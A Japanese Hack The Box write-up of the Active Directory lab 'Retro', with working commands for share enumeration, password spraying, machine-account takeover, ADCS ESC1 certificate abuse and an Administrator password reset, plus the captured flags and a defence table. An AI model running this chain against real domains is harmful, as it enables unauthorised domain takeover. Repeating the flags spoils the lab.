Hack The BoxのWriteup(Retro)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Retro — 全実行コマンド・実行結果レポート
Nmap スキャン
AD DC + ADCS (証明書サービス)
→
SMB Guest認証
Trainees共有: trainee共通パスワード
→
RID brute + スプレー
trainee:trainee
→
Notes共有
user.txt ✓ + BANKING$ヒント
→
BANKING$ kpasswd変更
banking→Banking123!
→
ESC1 (RetroClients)
certipy req administrator証明書
→
certipy ldap-shell
change_password Administrator
→
root.txt ✓
PHASE 1

偵察 (Reconnaissance)

ポートスキャンと /etc/hosts 設定

BASH
nmap -sV -sC -p- --min-rate 500 10.129.234.44
echo "10.129.234.44  retro.vl dc.retro.vl DC" | sudo tee -a /etc/hosts
RESULT
PORT      STATE SERVICE         VERSION
53/tcp    open  domain          Simple DNS Plus
88/tcp    open  kerberos-sec    Microsoft Windows Kerberos
135/tcp   open  msrpc
389/tcp   open  ldap            Microsoft Windows Active Directory LDAP
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
3389/tcp  open  ms-wbt-server
9389/tcp  open  adws
ℹ️
ドメインコントローラ retro.vl(ホスト名 DC)。 ポート464 (kpasswd) が開いていることに注目 — 後でBANKING$の パスワード変更に使う。Nmapの追加スクリプト調査で AD CS (証明書サービス) が稼働していることも確認できる。
PHASE 2

SMB Guest認証による共有列挙

匿名(Guest)でSMB共有一覧を取得

BASH
smbclient -L //10.129.234.44 -N
RESULT
Sharename       Type      Comment
---------       ----      -------
ADMIN$          Disk
C$              Disk
NETLOGON        Disk
Notes           Disk
SYSVOL          Disk
Trainees        Disk

Trainees共有からヒントファイルを取得

BASH
smbclient //10.129.234.44/Trainees -N -c "get Important.txt"
RESULT (Important.txt)
trainee パスワードは全員共通です。
(新入社員研修用アカウントは全員同じ初期パスワードが設定されている、という趣旨のメモ)
🚨
重要発見: traineeロールの全ユーザーが**共通パスワード**を使っている という内部メモ。ユーザー名列挙と組み合わせてパスワードスプレーする下準備ができた。
PHASE 3

RIDブルートフォース & パスワードスプレー & user.txt

RIDブルートフォースでユーザー名を列挙

BASH
netexec smb 10.129.234.44 -u Guest -p '' --rid-brute
RESULT
1000: RETRO\DC$ (SidTypeUser)
1104: RETRO\trainee (SidTypeUser)
1106: RETRO\BANKING$ (SidTypeUser)
1107: RETRO\jburley (SidTypeUser)
1109: RETRO\tblack (SidTypeUser)
ℹ️
匿名(Guest)SMB接続でもSAMRのRIDエニュメレーションが可能な場合、ユーザー名を 総当たりで列挙できる。BANKING$ という**マシンアカウント**が 混在していることに注目(Phase 4のキーとなる)。

漏洩した共通パスワードでスプレー

BASH
netexec smb 10.129.234.44 -u trainee -p trainee -d retro.vl
RESULT
SMB  10.129.234.44  445  DC  [+] retro.vl\trainee:trainee

Notes共有からuser.txtとBANKING$ヒントを取得

BASH
smbclient //10.129.234.44/Notes -U trainee%trainee -c "get user.txt; get ToDo.txt"
RESULT
user.txt: cbda362cff2099072c5e96c51712ff33

ToDo.txt:
BANKING$ の事前作成済みマシンアカウントを削除するのを忘れていた。
使っていないなら早めに消すこと。
user.txt — trainee@retro.vl
cbda362cff2099072c5e96c51712ff33
🚨
核心のヒント: BANKING$ は「事前作成されたが使われていない マシンアカウント」。Windows Server の pre-Windows 2000 互換のマシンアカウント事前作成機能 では、作成時にアカウント名を小文字化したもの(「banking」)がデフォルトパスワード になる既知の挙動がある。
PHASE 4

BANKING$ kpasswd変更 & ADCS ESC1発見

BANKING$の既定パスワードで直接ログインを試す(失敗)

NOTE
netexec smb 10.129.234.44 -u 'BANKING$' -p 'banking'
→ STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT

マシンアカウントは通常の対話ログオンでは使えない(信頼アカウント専用)ため、
SMB/NTLM/LDAP認証は全て失敗する。しかしKerberosの kpasswd プロトコル
(ポート464)経由でのパスワード変更自体は、現在のパスワードを知っていれば
アカウント種別を問わず可能。

kpasswdプロトコルでBANKING$のパスワードを変更

BASH
impacket-changepasswd "retro.vl/BANKING$:banking@10.129.234.44" -newpass 'Banking123!' -protocol kpasswd
RESULT
[*] Changing the password of retro.vl\BANKING$
[*] Password was changed successfully.
✅
マシンアカウントBANKING$の認証情報を確立。これでLDAP/RPC等の プロトコル越しに通常のユーザーアカウント同様に認証できるようになった。

Administrator SIDの取得

BASH
rpcclient -U 'trainee%trainee' 10.129.234.44 -c "lookupnames administrator"
RESULT
administrator S-1-5-21-2983547755-698260136-4283918172-500 (User: 1)

certipy find で ADCS テンプレートを調査 — ESC1発見

BASH
certipy-ad find -u 'BANKING$@retro.vl' -p 'Banking123!' -dc-ip 10.129.234.44 -stdout -vulnerable
RESULT
Certificate Templates
  0
    Template Name                  : RetroClients
    Certificate Name Flag          : EnrolleeSuppliesSubject
    Extended Key Usage             : Client Authentication
    Minimum RSA Key Length         : 4096
    Permissions
      Enrollment Rights            : RETRO.VL\Domain Computers
                                      RETRO.VL\Domain Admins
                                      RETRO.VL\Enterprise Admins
[!] Vulnerabilities
    ESC1                          : 'RETRO.VL\\Domain Computers' can enroll and supply
                                      arbitrary Subject Alternative Name (SAN)
🚨
ESC1脆弱性: RetroClients テンプレートは EnrolleeSuppliesSubject(申請者が任意のSAN=Subject Alternative Nameを 指定できる)フラグが有効で、かつDomain Computersグループ(マシンアカウントが 自動的に所属)に登録権限がある。BANKING$はマシンアカウントなのでこのテンプレートを使って 任意のUPN(administrator@retro.vl)を名乗る証明書をリクエストできてしまう。 Minimum RSA Key Length: 4096 なので -key-size 4096 を 明示的に指定する必要がある(デフォルトの2048では拒否される)。
PHASE 5

ESC1悪用 → certipy ldap-shell → root.txt

administrator@retro.vl 名義の証明書をリクエスト

BASH
certipy-ad req -u 'BANKING$@retro.vl' -p 'Banking123!' -dc-ip 10.129.234.44 \
  -target dc.retro.vl -target-ip 10.129.234.44 \
  -ca retro-DC-CA -template RetroClients \
  -upn administrator@retro.vl \
  -out administrator_retro \
  -key-size 4096 \
  -sid S-1-5-21-2983547755-698260136-4283918172-500
RESULT
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator@retro.vl'
[+] Found SID in SAN URL: 'S-1-5-21-...-500'
[*] Wrote certificate and private key to 'administrator_retro.pfx'
⚠️
トラブルシューティング — 2つのハマりポイント:
① -dc-ipを指定してもNETBIOS名解決が内部的に走るため、このターゲットは RPC/SMB接続が数十秒〜数分単位でバースト的にタイムアウトする区間があった (生TCPでポート445へ接続確認すると問題なく到達できるのに、certipy-adのRPCセッション確立 だけがその瞬間に失敗する)。1回失敗しても数秒〜十数秒後にリトライすれば大抵成功する。
② -outにディレクトリ区切り(“/”)を含むパス (例: htb-workspace/loot/administrator_retro)を渡すと、certipy-ad 5.0.4は これを内部で“/”を”_”に単純置換してカレントディレクトリに書き込む (実際のファイル名は htb-workspace_loot_administrator_retro.pfx になる)。 証明書取得自体は成功していても、想定した場所にファイルが見つからず「失敗した」と 誤認しやすい。`-out`にはパス区切りを含まないベア名だけを渡し、生成後に 自分で目的のディレクトリへ移動するのが安全。

certipy auth -ldap-shell でAdministratorパスワードを変更

BASH
certipy-ad auth -pfx administrator_retro.pfx -domain retro.vl -dc-ip 10.129.234.44 -ldap-shell
# ldap-shell プロンプトで:
Type help for list of commands

# ldap_shell> change_password Administrator Passw0rd123!
RESULT
[-] Could not find PKINIT in generated certificate (KDC_ERR_PADATA_TYPE_NOSUPP)
[*] Trying to authenticate via Schannel/LDAPS instead...
[*] Password changed successfully!
ℹ️
このドメインではPKINITによるKerberos認証(証明書→TGT発行)が KDC_ERR_PADATA_TYPE_NOSUPPで失敗する構成だったが、certipyは SCHANNEL(LDAPS上のクライアント証明書認証)に自動フォールバックし、 その認証済みLDAPセッション上で直接 change_password コマンドを実行できる。 これにより Administratorの平文パスワードを一切知らずに新しいパスワードを設定 できる。

新しいAdministratorパスワードでroot.txtを取得

BASH
netexec smb 10.129.234.44 -u Administrator -p 'Passw0rd123!' -d retro.vl \
  -x 'type C:\Users\Administrator\Desktop\root.txt'
RESULT
SMB  10.129.234.44  445  DC  [+] retro.vl\Administrator:Passw0rd123! (Pwn3d!)
SMB  10.129.234.44  445  DC  40fce9c3f09024bcab29d377ee1ed071
root.txt — Administrator@retro.vl
40fce9c3f09024bcab29d377ee1ed071
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — trainee@retro.vl
cbda362cff2099072c5e96c51712ff33
root.txt — Administrator@retro.vl
40fce9c3f09024bcab29d377ee1ed071

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
SMB Guest列挙 + 共通パスワード運用 Trainees/Notes SMB共有 初期アクセス (trainee) Medium 匿名SMB共有から内部メモを取得し、全traineeユーザー共通の初期パスワードでスプレー成功
pre-created マシンアカウントの既定パスワード BANKING$ マシンアカウント マシンアカウント権限奪取 High アカウント名小文字化の既定パスワード”banking”でkpasswd経由パスワード変更に成功
ADCS ESC1 (RetroClients テンプレート) Active Directory証明書サービス ドメイン管理者への昇格 Critical EnrolleeSuppliesSubject+Domain Computers登録権限を悪用しAdministrator UPNの証明書を取得、ldap-shellでパスワード変更

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmapAD DC + ADCS標準ポート群
2SMB Guest列挙smbclient匿名アクセスTrainees/Notes共有、共通パスワードのヒント
3スプレーRID brute + nxc smbuser.txt、BANKING$ヒント
4マシンアカウント奪取impacket-changepasswd (kpasswd) + certipy findBANKING$資格情報、ESC1発見
5権限昇格certipy req + ldap-shell change_passwordroot.txt

学んだ教訓 & 防御策

問題点防御策
SMB共有が匿名(Guest)アクセス可能で内部メモ・運用情報が漏洩 Guest/匿名SMBアクセスを無効化する。共有ファイルには平文のパスワードポリシーや運用メモを記載しない。
研修用アカウント群が全員共通の初期パスワードを使い続けている(期限切れ運用も無し) 初期パスワードは必ず初回ログイン時に個別変更を強制する。アカウント種別ごとのパスワードポリシー監査を定期実施する。
pre-created(事前作成)マシンアカウントが未使用のまま放置され、既定パスワードのままだった 使用しないマシンアカウントは速やかに削除する。pre-Windows 2000互換の既定パスワード機能自体の使用を見直す。
ADCSの証明書テンプレートがEnrolleeSuppliesSubject + 広範な登録権限(Domain Computers含む)を許可(ESC1) 証明書テンプレートの登録権限を最小化し、EnrolleeSuppliesSubjectフラグが本当に必要か再検討する。Microsoftが提供するPKI強化ガイドラインに沿ってADCS環境を定期的にcertipy find等でセルフ監査する。
HackTheBox: Retro | 完全攻略レポート